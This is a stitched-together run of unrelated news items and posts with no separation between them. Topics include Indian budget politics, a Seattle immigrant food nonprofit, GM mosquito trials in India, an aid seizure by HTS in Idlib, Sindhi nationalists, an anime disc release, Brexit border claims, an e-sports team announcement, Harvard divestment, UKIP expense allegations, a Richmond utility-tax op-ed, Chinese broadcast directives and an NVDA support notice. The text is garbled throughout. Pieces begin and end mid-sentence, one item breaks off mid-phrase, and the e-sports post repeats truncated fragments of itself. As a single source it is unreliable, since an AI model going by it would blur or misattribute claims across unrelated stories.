The official also suggests that the announcement in the Union Budget of a gold monetisation scheme could be a game-changer in tracking black money. In his Budget speech, Jaitley said: “The new scheme will allow depositors of gold to earn interest on their metal accounts and jewellers to obtain loans on their metal accounts. Banks and other dealers would also be able to monetise this gold.” India, one of the world’s largest consumers of gold, imports close to 1,000 tonnes of the yellow metal annually. The scheme is expected to draw idle gold into the system. Jaitley also announced the creation of a sovereign gold bond that will offer a fixed rate of interest and could be redeemed in cash. This means that instead of buying gold in physical form, you could get a bond issued by the Government that says you own a chunk of gold. Later, you can redeem it when the tenure of the bond expires. “This, in the long run, is a neat ruse to get unaccounted-for money out,” claims a Finance Ministry official. “Of course, there is politics behind convincing global investors that India is an attractive destination for investment by promising them a fair and predictable tax system. What is wrong with that? Prime Minister Modi’s ambitions are not bad for his country,” declares this official.
Modi, who has spearheaded a series of election victories in the past several months, including Maharashtra, Jharkhand, Haryana and Jammu & Kashmir, doesn’t want to leave any stone unturned when it comes to outlining and implementing new projects. “This is, of course, because he is a constant campaigner and wants to learn from setbacks. This is also because he wants to make a name as a reformer Prime Minister who makes India an economic powerhouse of the world,” avers the first BJP leader. “Modiji thinks both short-term and long-term,” he adds. In Bihar, where polls are due this year as the tenure of the current assembly expires on 29 November, the BJP faces a united opposition following a major realignment of forces that has brought sworn enemies Lalu Prasad of the RJD and Nitish Kumar of JD-U on one platform.
Modi watcher and India-US relations expert Michael Kugelman feels that Modi will definitely need to strike a balance between pro-business moves— from infrastructure spending to austerity measures—and populist policies that target the masses. “It’s a tough balancing act, though one that Modi believes he can pull off. In the next few weeks and months, we’ll get a better idea if he’s right.”
Unprecedented Moves
The Modi Government, with its intention to tap all possible resources, wants to use the armed forces for civilian work, a model in active practice in countries such as Israel. “This could be under consideration, especially in the Railways and perhaps in projects such as the cleaning of the Ganga and similar projects,” says a Government source. With 1.3 million people on its rolls, India’s armed forces are the world’s eighth largest employer. “The logic of using the armed forces’ personnel in civilian work —which is rare and largely unprecedented except in times of emergencies— is to maximise staff utility,” says another official in the know. “The forces have fought wars only for a few months, but they have been around since Independence, maintained by the Government. So, the idea is to use their services thoroughly well. The advantages are manifold: the armed forces have the best of engineering talent and their volunteers are disciplined and punctual. They are trained to build under duress. Their participation in civilian work will also mean speedy implementation of high-class projects,” he adds.
Indications are that Prime Minister Modi would like to use the services of Army personnel to set up railway lines connecting Hindu pilgrim centres in the Himalayas, one of his pet projects, and also to build roads to far-flung areas, especially in the Northeast where his party wants to gain a foothold. “I would call it a revolutionary move,” says the second BJP leader. “Why should the forces waste their energy in bunkers cleaning up bricks and idling away despite possessing impeccable engineering skills?” he asks. Looks like an irresistible suggestion indeed. And Modi would want to make the most of such an opportunity.If you've traveled a bit and love food, there's always that moment about month after you return when you really long for that country's cuisine. Well, a new nonprofit in town is seeking to satisfy that craving with a permanent open-air food market featuring immigrant- and refugee-owned mobile food businesses serving up favorites from their home countries.
The organization is called MarketShare, and it's determined to not only bring underrepresented cuisines to Seattle, but also give its Fellows (chefs) a chance at the American Dream. MarketShare is kicking off the launch of its first two mobile food businesses--Kenyan and Filipino cuisine from fellows Jackie Nkirote and Rosario Carver, respectively--on Saturday, March 14 from 5 to 7 p.m. at the Garfield Community Center. The event will, of course, feature food, plus live music, a silent auction and beer and wine. Get your tickets here.
I grabbed some time with MarketShare founder Philip Deng to find out more about his endeavor and his future plans.
Jon Meyer: What's MarketShare's mission?
Philip Deng: To encourage the development of small food stall businesses from immigrant and refugee communities in order to share opportunity, empower community and bring a vast menu of delicious foods to the attention of Seattle diners. The key to understanding our vision, however, is to understand that the way we serve our mission will evolve over three phases. Right now, we are building two businesses to show people what is possible, a proof of concept. Once that's up and running we need to turn this experience into a story that gets Seattle talking about the possibilities for more great food and entrepreneurship. Finally, when we've got enough of this city dreaming of the permanent indoor street-food market we envision, it will be MarketShare's role to orchestrate the motions of our entire city to #BuildTheMarket.
JM: What were some of the factors that came together to make this possible?
PD: The idea of the market itself is very easy to communicate and people get excited about it. The difficult part was figuring out a feasible way to reach that goal. Many conversations and a lot of research led me to formulate our current three-phase strategy. Then, almost immediately, people began to see where they could fit in and I recruited my team with the promise that I would put challenges in front of them that are so enthralling they won't be able to put them down. I also can't say enough about our organizational partners, the Bainbridge Graduate Institute at Pinchot. They were among my first advisers when I walked in to their campus unannounced many months ago. They gave me helpful feedback and connected me with many of the other people who helped shape MarketShare's development. Since that time they have consulted with our team and we have been holding many of our events in a space they have graciously made available to us. MarketShare is very fortunate that this institution exists in our city.
JM: What are you most excited about so far?
PD: The most exciting thing for me thus far has been connecting with our Fellows. We told ourselves early on when things were still in a very conceptual phase of development that soon we would meet the two people whose lives we would be helping to shape. Now they're here! Their names are Jackie and Rosario, and each week we are learning more about them and what motivates them. Their stories are already so compelling and our job is to share all of this good stuff with Seattle to get them fired up about a market in our future!
JM: What are some of the cuisines and cultures that Seattle should get ready to sample?
PD: Broadly speaking, Kenyan and Filipino to begin with. Kenyan food isn't widely represented in our community and we're excited to help Jackie introduce Seattle to some of the foods she ate as a child growing up in Kenya. Filipino food is beginning to become more mainstream, but we've also noticed that most Filipino menus revolve around a few popular dishes. We're exploring food that is more unique to the region in the Philippines where Rosario is from. Also, I have to remind readers that this is just the tip of the iceberg.
JM: I haven't had either...sounds delicious. So what was the inflection point that put the project in motion?
PD: I was applying to business schools and a prompt for one of the admissions essays was, "Why do you want to go to business school?" In trying to write the essay it dawned on me that I didn't need to go to business school to start MarketShare, and so I decided to just go for it.Last year, a total of 13 dengue cases and 109 malaria cases were reported in the city.
Should an ongoing experiment in Jalna, Maharashtra, have the same success as it has achieved in Brazil, India might be rid, to an extent at least, from disease-causing mosquito species.
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And you will have mosquitoes themselves to thank — genetically-modified male mosquitoes, that is.
A little-known private company, Gangabishan Bhikulal Investment and Trading Ltd, or GBIT, is testing a British technology that is aimed at controlling populations of Aedes aegypti, the mosquito species that is responsible for transmitting dengue, chikungunya and yellow fever.
The technology, using genetically engineered male Aedes aegypti, was developed a few years ago by Professor Luke Alphey of the Department of Zoology at Oxford, who started a commercial company, Oxitec, to market his creation.
[related-post]
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The technology involves the alteration of the genetic composition of male mosquitoes by introducing a strain called OX513A that renders them sterile. When these male mosquitoes mate with female wild mosquitoes, the gene is passed on to the offspring, which do not survive beyond the larva stage. The only way to keep them alive is by administering an antibiotic called tetracycline, which, however, is not available in nature.
If these GM male mosquitoes are released in sufficient numbers, the mosquito population in a given area can come down drastically within a very short time. The average life span of the Aedes aegypti is only about 15 days.
The technology, which has fetched several awards for Alphey in recent years, has been successfully tested in Brazil, and authorised for commercial use. Several other countries including the United States and Panama too are carrying out testing.
GBIT, founded by B R Barwale, a Padma Bhushan awardee who also founded the better-known Maharashtra Hybrid Seeds Company Private Limted or Mahyco, has entered into a partnership with Oxitec to use this RIDL (release of insects carrying a dominant lethal gene) technology.
GBIT procured some 10,000-12,000 GM mosquitoes from Oxitec for research in September 2011. The original set has reproduced several generations of mosquitoes since then in a controlled laboratory atmosphere, thanks to tetracycline, which ensured that offspring survived.
After carrying out several laboratory experiments and obtaining regulatory permissions from the government, GBIT researchers are finally ready for controlled field trials. A small number of GM mosquitoes will be released in enclosed spaces containing female wild mosquitoes.
“The crucial thing is the efficiency with which the GM males are able to mate. In the open atmosphere, they will have to compete with normal male mosquitoes to mate with females. If there is a 50:50 chance of the females selecting the GM males, then the experiment can be considered very successful, and would mean that mosquito populations can be reduced fairly quickly,” Dr S K Dasgupta, lead scientist with GBIT, said.
The ability of GM mosquitoes to mate is only one of the criteria on which the future of the technology depends. GBIT scientists will have to demonstrate it is environmentally safe, does not impact normal living of any other species, and is not harmful for humans. Only then can it go ahead with commercialisation. The process is similar to that for any GM product, such as agricultural crops.
GBIT has been asked by the government to run an awareness campaign in nearby human habitats about the experiment, and address the concerns of residents. The controlled mating exercise will have to be repeated over several months and over several generations of mosquitoes to enable GBIT researchers to draw statistically relevant conclusions. The experiments can then be carried out in the open atmosphere.
“This technology is not only environment-friendly, but is also effective in controlling the rising health menace caused by mosquitoes,” Dasgupta said. Dengue has killed almost 1,000 people in India since 2009.
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Dasgupta said the technology is not aimed at eliminating all mosquitoes — which is theoretically possible through the use of this technology, but involves larger ethical questions — but only at controlling the spread of disease. “The purpose of this technology is to control dengue and chikungunya and is species-specific to Aedes aegypti. It can be extended to other disease-bearing mosquitoes too. But the basic purpose is to eliminate the species-specific disease-carrying mosquito population,” he said.Two flatbed trucks carrying flour were seized by Hay’at Tahrir a-Sham (HTS) on Friday at one of the checkpoints controlled by the Islamist rebel coalition in Syria’s northwest Idlib province.
The trucks belonged to the Ihsan Relief and Development Organization, which runs a free bakery for residents in the eastern Idlib town of Saraqeb.
“The Ihsan Organization holds Hay’at Tahrir a-Sham responsible for cutting off 2,000 families in need from free bread,” the NGO said in a statement on Saturday condemning the flour seizure.
The confiscation of the organization’s aid trucks is the latest instance of perceived abuses by HTS in Idlib and western Aleppo province, areas under its control. Since the beginning of the year, Syria Direct has reported on HTS attacking Free Syrian Army factions, seizing equipment from a hospital construction site and making Idlib a target for coalition airstrikes.
“When battles erupt between factions, and rebel checkpoints are put in place, it impedes relief work,” Samir al-Hassan, spokesman for the Ihsan Organization, tells Syria Direct’s Adam a-Shami.
The Ihsan Organization has appealed to HTS for the return of the flour trucks, providing details about the aid delivery and the Saraqeb bakery. However, HTS said they will not return the trucks, citing issues with the Ihsan Organization’s Turkish donors as “an excuse to seize the flour,” according to al-Hassan.
The Ihsan Organization’s statement condemning the flour seizure. Photo courtesy of the Ihsan Organization.
Syria Direct asked Imad Mujahid, a Hay’at Tahrir a-Sham spokesman in Idlib, about the confiscation of the flour trucks.
“There was a complaint against the [Ihsan] organization, so the trucks were temporarily stopped, and the dispute was resolved within a short time,” said Mujahid, who did not comment on HTS keeping the confiscated flour.
“The cars were not attacked, and they were only stopped for a few hours,” he added.
Q: What happened on Friday when your organization’s flour trucks arrived at the Sarmada checkpoint?
After the trucks left the IHH warehouses near Bab al-Hawa [the Syrian-Turkish border crossing in northern Idlib], they were stopped at a checkpoint belonging to Hay’at Tahrir a-Sham [HTS] near the entrance of Sarmada.
[Ed.: The Foundation for Human Rights and Freedoms and Humanitarian Relief (IHH) is an Istanbul-based NGO which provides relief to Syria, as well as other conflict zones worldwide.]
The trucks were diverted to a food storehouse in Sarmada that HTS previously seized from Jaish al-Mujahideen.
[Ed.: Hay’at Tahrir a-Sham is a coalition including Jabhat Fatah a-Sham (JFS) and other Islamist rebel groups. JFS seized Sarmada from control of FSA-affiliated Jaish al-Mujahideen in late January, local media reported at the time. JFS’s attacks on Jaish al-Mujahideen sparked a wave of intense infighting among rebel factions in Idlib.]
The administration of the Ihsan Relief and Development followed up on the matter and found that the trucks were placed under the control of the General Committee for Services belonging to Hay’at Tahrir a-Sham, the body responsible for dealing with relief organizations.
Q: What steps did the Ihsan Relief and Development take after learning about the flour confiscation?
We appealed to Hay’at Tahrir a-Sham. They requested, first off, very detailed information about the bakery’s operations—the number of consumers, the amount of bread and the names of the beneficiaries.
We provided them with the requested data the same day.
The next day, they told us: ‘Our problem is with IHH and not with you, but we will not give up the flour.’
Of course, IHH contacted HTS, who then said, ‘Our problem is not with you, it's with Ihsan Relief and Development.’
As we see it, what HTS is saying about IHH not cooperating with them is just an excuse to seize the flour.
A flour truck. Photo courtesy of Shaam Network.
Q: Has anything like this happened before? Are you afraid that it could happen again?
We don’t have any idea as to why we’re having this problem now. There haven’t been any problems or friction between us and Hay’at Tahrir a-Sham, or Jabhat a-Nusra, in the past.
We don’t think this will happen again, particularly considering that the event has been written about on social media, and that many people have expressed their frustration with this sort of behavior.
Q: What is the status of the flour deliveries since the confiscation?
Now, we’re waiting for the flour to be replaced. If the flour is not replaced or the IHH trucks are confiscated again, then the bakery will shut down.
[Ed.: In a statement released on Saturday, Ihsan Relief and Development said that HTS was responsible for blocking the delivery of supplies to its bakery in Saraqeb, which distributes free bread to 2,000 families in need.]
Q: Are there are other difficulties your organization faces in distributing assistance in Idlib province?
Our primary aim is to deliver aid to orphans, the displaced and the poor.
The greatest challenge to providing this support is rebel infighting. When battles erupt between factions, and rebel checkpoints are put in place, it impedes relief work.12 more workers of the Jeay Sindh Qaumi Mahaz (JSQM), Bashir Qureshi group, announced on Thursday they will be quitting nationalist politics.
While speaking to local journalists in Tando Bago, Badin, Manzoor Ahmed, Mukhtiar Ahmed, Maqsud Ahmed Samoon and other members of JSQM's Tando Bago unit said that they had been "exploited" by their leaders, who they accused of being involved in extortion and amassing immense fortunes for themselves.
They requested fellow activists to shun nationalist politics and the struggle for Sindhudesh and vow to instead focus on their businesses and studies while leading their lives as "patriotic individuals".
Scores of Sindhi nationalist leaders and workers belonging to various factions of JSQM and Jeay Sindh Muttahida Mahaaz (JSMM) have quit nationalist politics in the past few weeks in the wake of an ongoing crackdown.
A close aide to the late G.M. Syed, Ustad Mohammad Rahimoon, who served as the convener of the banned JSMM was among the first to publicly announce his decision to do quit nationalist politics after being kept in detention for several months before his release a few weeks ago.
Nationalist activists from Matli, Talhar and other towns are also likely to make similar announcements soon, sources say.
The Jeay Sindh movement was begun by Ghulam Murtaza Shah Syed, better known as G. M. Syed, in the '70s.
Syed, who had been among the strongest proponents of the idea of Pakistan before its creation, was jailed after demanding that Sindh be separated from Pakistan.
After his death, however, the movement divided into multiple factions led by various leaders, including Bashir Khan Qureshi, Qadir Magsi, Abdul Wahid Arisar and Jalal Mahmood Shah, among others.
JSQM leader Bashir Qureshi died in April 2012 under mysterious circumstances, after which his young son, Sannan Qureshi, took the party's reigns. Bashir had led thousands in a rally in Karachi on March 23, 2012, only two weeks before his death.Aniplex of America, the American arm of the Japanese production company Aniplex, announced at its New York Comic Con panel on Friday that it will release the Puella Magi Madoka Magica anime on Blu-ray Disc as well as on DVD, starting February 14.
The first volume will be released on both Blu-ray Disc and DVD on February 14, 2012. The second volume will follow on April 10, and the third volume will ship on June 12. Preorders will start on the online retailer Right Stuf on October 17.
In addition to the regular DVD and Blu-ray Disc volumes, there will be a limited edition box with the DVD, Blu-ray Disc, and the original soundtrack. The box will bundle a 24-page booklet, a double-sided poster, a Kyubey sticker, collectible postcards, a trailer collection, and credit-less opening and ending animation footage.
Aniplex USA also announced the anime's English voice cast:
Christine Marie Cabanos as Madoka
Cassandra Lee as Kyubey
Sarah Williams as Sayaka
Update: More information added.France on Monday night said it would not pull out of its border arrangements with the UK even in the event of Britain voting to leave the European Union.
David Cameron argued that voting for a Brexit would result in migrant camps such as "the Jungle" in Calais moving to southern England.
The Prime Minister said that a "huge number" of asylum seekers could come to Britain "overnight" because France would pull out of current border arrangements in the aftermath of an EU exit.
He said that a vote to leave would give French politicians the chance to "tear up" the deal, which lets UK border guards check passports at Calais.
But on Monday night French sources said that they would not renege on the 2003 deal, contradicting Mr Cameron's claims.
Tory eurosceptics accused the Prime Minister of "scaremongering" and pointed to comments by Bernard Cazeneuve, |
the
FXOpen e-Sports has begun programming for an e-Sports TV platform. The platform will feature all FXOpen events, as well as various talk shows and other productions. It will also enable other tournament organisers to stream via a stable, high technology, platform without the hassle of web based streaming.
. The platform will feature all FXOpen events, as well as various talk shows and other productions. It will also enable other tournament organisers to stream via a stable, high technology, platform without the hassle of web based streaming. FXOpen e-Sports tournament Ladder is now released. The ladder will be used for us to gauge which players will get an invite to our tournament in Kuala Lumpur, Malaysia. We have not released the prize money as yet, but it will be that of GSL or higher (sponsorships are already incoming so we will make a further announcement). We are looking at hosting this tournament around October-November. See an explanation of how the ladder will work in the spoiler below.
+ Show Spoiler [Ladder Example] +
A multiplier is also in effect that reduces your total by 10% each time you forfeit or no-show to an event that you promised attendance at. Currently the ladder looks something like this:
Points will be awarded for tournament placings much like the ATP tennis rankings, with 750 points for first place, down to 8 points for participation. The player's total number of points accrued from tournament placings over a season (i.e. in the last 3-5 tournaments depending on season length) will contribute towards their ladder rank. As new seasons begin, older tournament results will cease to contribute so that only the last 3-5 most recent events count towards your points score.is also in effect that reduces your total by 10% each time you forfeit or no-show to an event that you promised attendance at. Currently the ladder looks something like this:
is now released. The ladder will be used for us to gauge which players will get an invite to our tournament in. We have not released the prize money as yet, but it will be that of GSL or higher (sponsorships are already incoming so we will make a further announcement). We are looking at hosting this tournament around October-November. FXOpen e-Sports new events. Weekly KOTH (including Korean players), the KOTH events allow players to gain points towards the FXOpen e-Sports tournament ladder as well as other prizes.
(including Korean players), the KOTH events allow players to gain points towards the FXOpen e-Sports tournament ladder as well as other prizes. FXOpen Invitational, Destination Korea Tournaments. In order to get some of the best names outside of Korea, to Korea, we will be hosting tournaments in which the first prize is a plane ticket to Korea. These tournaments will NOT have Korean players involved. *NOTE* This prize will only be a plane ticket, players with no intention on making it to korea will be requested to refuse their invitation. We will be taking PM’s for people who are interested in these tournaments soon when we announce the first one.
. These tournaments will NOT have Korean players involved. We will be taking PM’s for people who are interested in these tournaments soon when we announce the first one. FXOpen e-Sports talkshow, featuring FXOBOSs, FXOUnstable, FXOWolf and various guests, including some of your Korean favourites!
, featuring FXOBOSs, FXOUnstable, FXOWolf and various guests, including some of your Korean favourites! FXOpen e-Sports website is nearly ready, on our website you will find replays, blogs, commentary and news regarding the company.
is nearly ready, on our website you will find replays, blogs, commentary and news regarding the company. FXOpen e-Sports TEAM HOUSE. We have found a property, its already owned by our company. It’s a large house just outside of Kuala Lumpur. It is the complete opposite of a Korean team house and is a more comfortable environment. We are now waiting for the occupants to move to their new place in the next 12 months (FXOMonarch is currently occupying it). If something changes in the company, this may change.
. We have found a property, its already owned by our company. It’s a large house just outside of Kuala Lumpur. It is the complete opposite of a Korean team house and is a more comfortable environment. We are now waiting for the occupants to move to their new place in the next 12 months (FXOMonarch is currently occupying it). FXOpen e-Sports studio, Kuala Lumpur. We are currently in the process of creating a gaming studio. We will test this with our technology and smaller local events before we run our larger globally broadcast event. We expect to have this completed by June.
, Kuala Lumpur. We are currently in the process of creating a gaming studio. We will test this with our technology and smaller local events before we run our larger globally broadcast event. We expect to have this completed by June. FXOpen e-Sports, FXOmOoNan joins the ranks. FXOmOoNan aka AllAboutYou has joined FXO and is hailing from New York. He is a well decorated brood war player and extremely good terran. We welcome him and are glad he signed up with us.
joins the ranks. FXOmOoNan aka AllAboutYou has joined FXO and is hailing from New York. He is a well decorated brood war player and extremely good terran. We welcome him and are glad he signed up with us. FXOpen e-Sports, FXOWolf (Caster) joins the ranks. In order to provide superior streaming to our spectators we have signed up another caster to prevent any further issues. Unstable and Wolf are a great team and mould very well together. There may be a few announcements I am missing, and I will update the OP if necessary.
GL HF all!
Regards
FXOBoss
After the success of our past events and the establishment of the FXOpen Invitational Series we are proud to make the following announcements.There may be a few announcements I am missing, and I will update the OP if necessary.GL HF all!RegardsFXOBoss www.twitter.com/FXOpenESportsReady to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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This morning, a large and distinguished group of faculty at Harvard University released an open letter to President Drew Gilpin Faust and the Harvard Corporation. It calls, in striking terms, for divestment of the university’s endowment—the largest university endowment in the world—from fossil-fuel corporations. Perhaps most striking, it responds forcefully, and at times bluntly, to Faust’s public statements opposing divestment. The letter begins: Ad Policy
Our University invests in the fossil fuel industry: this is for us the central issue. We now know that fossil fuels cause climate change of unprecedented destructive potential. We also know that many in this industry spend large sums of money to mislead the public, deny climate science, control legislation and regulation, and suppress alternative energy sources.
We are therefore disappointed in the statements on divestment made by President Faust on October 3, 2013 and April 7, 2014. They appear to misconstrue the purposes and effectiveness of divestment. We believe that the Corporation is making a decision that in the long run will not serve the University well. [Read the rest of the letter.]
The faculty’s challenge comes hard on the heels of Faust’s latest pronouncement on the subject of climate change, in which she appeared to move ever so slightly in the direction of moral seriousness, yet reaffirmed her opposition to divestment and doubled down on the unserious path of action she has advocated in the past, which is restricted to research, campus greening and investor engagement with fossil-fuel companies.
The faculty letter also comes after many months of organizing, campaigning and writing by students and supportive alumni. (See, for example, these posts by undergraduates Chloe Maxmin and Hannah Borowsky, grad students Tim DeChristopher, Ben Franta and Ted Hamilton and alums Todd Gitlin of Columbia University and former SEC Commissioner Bevis Longstreth. How often does a Reagan appointee join forces with a ’60s-era president of SDS?) I even had a few words to say on the subject myself.
So it’s good to see Harvard faculty stepping up. And it’s good to see them making clear statements like this one:
Divestment is an act of ethical responsibility, a protest against current practices that cannot be altered as quickly or effectively by other means. The University either invests in fossil fuel corporations, or it divests. If the Corporation regards divestment as “political,” then its continued investment is a similarly political act, one that finances present corporate activities and calculates profit from them.
The only way to remain “neutral” in such circumstances is to bracket ethical principles even while being deeply concerned about consequences. Slavery was once an investment issue, as were apartheid and the harm caused by smoking.
And this:
As the statements of October 3, 2013 and April 7, 2014 indicate, the Harvard Corporation wishes to influence corporate behaviors in the fossil fuel and energy sectors. We therefore ask:
How, exactly, will the University “encourage” fossil fuel corporations in “addressing pressing environmental imperatives”? Will Harvard initiate or support shareholder resolutions? Will it divest from coal companies? Will it ask questions at shareholder meetings? Will it set standards analogous to the Sullivan Principles? Will it conduct private meetings?
In short, how long will Business As Usual continue?
The questions in this section are not rhetorical. They require answers.
Yes, they do. And this campaign isn’t going away—it’s just getting started. Harvard can expect students, alumni, and now faculty, to keep increasing the pressure until we receive answers that can be taken seriously, both intellectually and morally, in the face of what we know about the scale and urgency of the climate crisis. (I have reached out to Faust’s office and will update with any comment I receive.) As Ben Franta wrote here last month:
At the end of the day, we are acting for our children and grandchildren and for the generations beyond that. When we choose convenience over truth, we ultimately slow progress, and future generations pay the price. They will not care about who won an argument on a particular day, and they will not care about the clever excuses we come up with for doing nothing. They will care about what was actually true and what we actually did on their behalf.
Maybe today Harvard came a step closer to actually doing something commensurate with this crisis.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
UKIP Wales MEP Nathan Gill has robustly denied allegations that he misused European Parliamentary money, claiming they form part of an attempt by opponents in the party to damage his reputation.
The EU counter-fraud body Olaf is investigating a series of specific allegations made by former employees of the Ukip Wales leader, who this week resigned from the Ukip group at the National Assembly, where he represents North Wales.
A ballot of Ukip members in Wales is being organised to see whether he should be allowed to “double job” as an MEP and an AM.
Mr Gill has met a senior North Wales Police officer to discuss the allegations, which include claims that he misused European Parliament money to fund Ukip’s Assembly election campaign in South Wales East, where the party won two seats.
North Wales Police has confirmed it has handed over the investigation to Olaf.
In his statement Mr Gill said: “Having spoken to the police, I am in no doubt whatsoever that these claims – which are entirely bogus - have been made against me as part of an ongoing strategy to harry me out of my position and to damage my reputation at a time when a membership ballot is due to take place.
“One of the allegations being made, appallingly using a stolen personal bank statement, relates to a simple and honest, lawful transaction using my own money to replace my car.
"Another sign of the entirely fictitious nature of these claims is an assertion that one of my employees is my brother-in-law: this is demonstrably untrue and will come as a very considerable surprise to him, his wife and family.
“I trust that those wilfully attempting to harm me will face appropriate charges.
"I find it utterly incredible that this ongoing, baseless and vicious campaign against me is being pursued as a priority by some within Ukip whose morals are deeply questionable.
"A completely new politics has come into Ukip Wales in the past year and I have suffered ongoing abuse and public slander as a result.”
Ukip's Neil Hamilton has challenged Mr Gill to publish his expenses
Mr Gill added: “Anybody can report an MEP to Olaf with or without evidence and they are duty bound to investigate.
"Such cases are commonplace but sadly can drag on for a long time. I will cooperate fully with that investigation to ensure it Is brought to a close as soon as possible.”
“In the meantime, I wish to make it very clear that I have done absolutely nothing wrong and am well aware of who are behind this latest poisonous and deeply malicious attack.”
We have been given details of the allegations, which suggest that Mr Gill misused European Parliamentary funds to make payments to the party’s former head of media Alex Phillips and to David Rowlands, a businessman who was elected as a regional AM for South Wales East in May.
It has also been claimed that Mr Gill funded a Ukip shop/office in Merthyr Tydfil out of European Parliament allowances when it was used to promote Ukip during the run-up to the Assembly election.
Other allegations relate to Mr Gill’s travelling expenses and a suggestion that he broke European Parliament rules in the way he reimbursed his employees for travel, accommodation and other expenses.
Ms Phillips, who is currently acting as Mr Gill’s spokeswoman, said: “I provided media advice to Nathan as a self-employed service provider and was paid around £1,100 a month between November 2015 and February 2016.
"The payments were entirely in line with European Parliament regulations.”
Mr Rowlands said: “I did some research and bits and pieces for Nathan Gill. I’ve never been employed by him but invoiced him for the work I did. Everything was above board. My Assembly election campaign was supported by a donor.
“There is an office in Merthyr Tydfil which is split between Nathan Gill and Ukip. There are no funding irregularities relating to the office.”East Clay Street in the Jackson Ward neighborhood in Richmond, Virginia.
The government in Virginia’s capital, Richmond, has a dirty little secret: It uses a little-known city charter provision to rip off poor residents by adding a phony, non-existent “tax” — including a bogus federal “tax” charge — to their water and certain other utility bills.
Over the years, this unconscionable rip-off has totaled many hundreds of millions of dollars. It stems from a Jim Crow-era state law added to Richmond’s charter at the request of city leaders.
Local activists, especially Charles Pool and Scott Burger, rightly complain Richmond families are burdened with among the highest comparative water rates in America.
The combined rip-off equals $25 million in the current budget. This number surges to $28 million in the new fiscal year. In Richmond, a majority African American city, 40 percent of black families struggle at or below the poverty line.
The law requires revenue from city-owned utilities to be put in Richmond’s general fund, where it supports the most expensive per-capita governing structure in the state. Its bloat, incompetence and sweetheart deals for political cronies earned Richmond the label “cesspool of corruption” not long ago.
Note: This money isn’t going to improve the utility infrastructure, even though government and business leaders concede it is in desperate need of repair.
To make the situation more infuriating, government and business leaders claim that the city doesn’t have the money to modernize or even do necessary repairs on obsolete, often unsafe city school buildings serving a student population overwhelmingly from poor, minority families.
Luckily, Richmond elects a new mayor and city council this November. Of the six leading candidates, four — Bruce Tyler, Michelle Mosby, Jack Berry, and Jonathan Baliles — are campaigning on their knowledge of city budgets. Did they know about this rip-off? Two others — Levar Stoney and Joe Morrissey – lack such experience but are active in government. Did they know about this rip-off? (One of the writers, Paul Goldman, is a partner in Morrissey and Goldman with mayoral candidate Joe Morrissey.)
The law was enacted on Feb. 27, 1954 when Jim Crow reigned supreme. It reads like accounting gobbledygook. Section 13.06 (c) (2) reads, in the pertinent part:
(2) … taxes not actually accruing but which would have accrued had the utility not been municipally owned shall be paid annually into the general fund.
In the 1950s, more than two-thirds of Richmond’s population was African American. Few could afford to own property or a business, both of which are subject to an array of city taxes.
But everyone needs water to drink and sewage service, and many use gas for cooking and heating. City-owned utilities usually offer lower bills because a private company would have to pass along the cost of taxes to users, along with making a profit for shareholders, unlike a tax-exempt government entity.
The term “not actually accruing” in the charter is a fancy way of saying taxes aren’t owed.
But the Charter requires the hypothetical amount of these non-existent taxes to be considered utility entity expenses. By law, rates must at least cover expenses. The city therefore legitimizes forcing residents to pay for fictional taxes — $5 million alone for federal — in order to generate the money to make the payments required by the charter law.
It’s a political racket. The mayor and council claim the cash is actually a “payment in lieu of taxes,” misleading the public. That concept is actually aimed at a situation where, for instance, the state or federal government is immune, by law, from local government taxes.
The Commonwealth of Virginia — a big property owner in Richmond — makes a “payment in lieu of taxes” to the city to cover the cost of certain services used. However, the amount paid is considerably less than the taxes that would otherwise be owed, as city leaders have long complained.
This utility rate scheme here is different — because the Richmond government doesn’t tax itself.
Section 13.06 ( c ) (2) is nothing more than a scheme concocted to force residents to pay unconscionable utility bills so the taxes and fees of more powerful political and financial interests could be kept artificially low.
We have studied Richmond’s budgets. This unconscionable rip-off must end.
Now.The Chinese government is tightening control of film and TV and cranking up its propaganda machine to ensure a “unified atmosphere” in the run-up to politically sensitive events and anniversaries this fall.
New directives order the film and television industries to screen serious, patriotic content as the country prepares for the Communist Party’s National Congress and the 90th anniversary of the founding of the People’s Liberation Army.
On Friday, the State Administration of Press, Publication, Radio, Film and Television (SAPPRFT) instructed all TV stations to stop airing costume dramas and “idol shows,” or soap opera-like programs starring teen idols. Instead, broadcasters must air 17 propagandistic drama series approved by the government, Chinese news portal Sina reported.
A document issued by the SAPPRFT and shown on Sina said that the goal of the directive was to raise political awareness and “create a unified atmosphere” for the upcoming national events.
“During this period, [we] demand TV channels in all provinces not to air costume dramas, idol shows or content that is deemed to be too entertaining, in order to create a unified atmosphere,” the document said.
Related China's Web Series, Online Films Required to Register, Report Actor Fees Jackie Chan Gets VR Treatment in iQIYI's 'Knight of Shadows'
The announcement was made on SAPPRFT’s official WeChat channel, but it was removed shortly afterward.
The move came just days after Chinese authorities began enforcing the screening of short propaganda videos at all cinemas across China before every movie.
Since July 1, cinemas have been required to show one of four videos, each around three minutes long, promoting “core socialist values” and reiterating President Xi Jinping’s vision of “the Chinese dream.” The patriotic videos star top Chinese celebrities, including Fan Bingbing (pictured), Jackie Chan, and Donnie Yen (“Rogue One: A Star Wars Story).
On Friday, a preview of “The Founding of an Army” by Andrew Lau (“Infernal Affairs”) was held in Hong Kong. The propaganda film about the creation of the People’s Liberation Army features an ensemble cast and is expected to be released nationwide in August.
The new directives are in line with Xi’s approach to the arts. Since taking office in 2013, Xi has been adamant about the role of arts and culture, telling some of the country’s most famous artists and propaganda officials that the arts must serve the country and a social purpose.
The Communist Party’s National Congress is a major political event in China that takes place once every five years. During the 18th congress in 2012, Xi’s leadership and membership of the Politburo Standing Committee, China’s highest ruling committee, were confirmed.
It is expected that during the 19th congress, Xi will further consolidate his power and control in the country and a reshuffle of the membership of the Politburo Standing Committee.Big In Japan (until 13/07/16)
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After much consideration, NV Access has decided that NVDA 2017.3 will be the last version of NVDA to support older Operating systems such as Windows XP and Vista. NVDA 2017.4, which will be released around the end of November, will require windows 7 Service Pack 1, or Windows Server 2008 R2 Service Pack 1 to run. Those users on older Operating Systems can continue to run NVDA 2017.3.
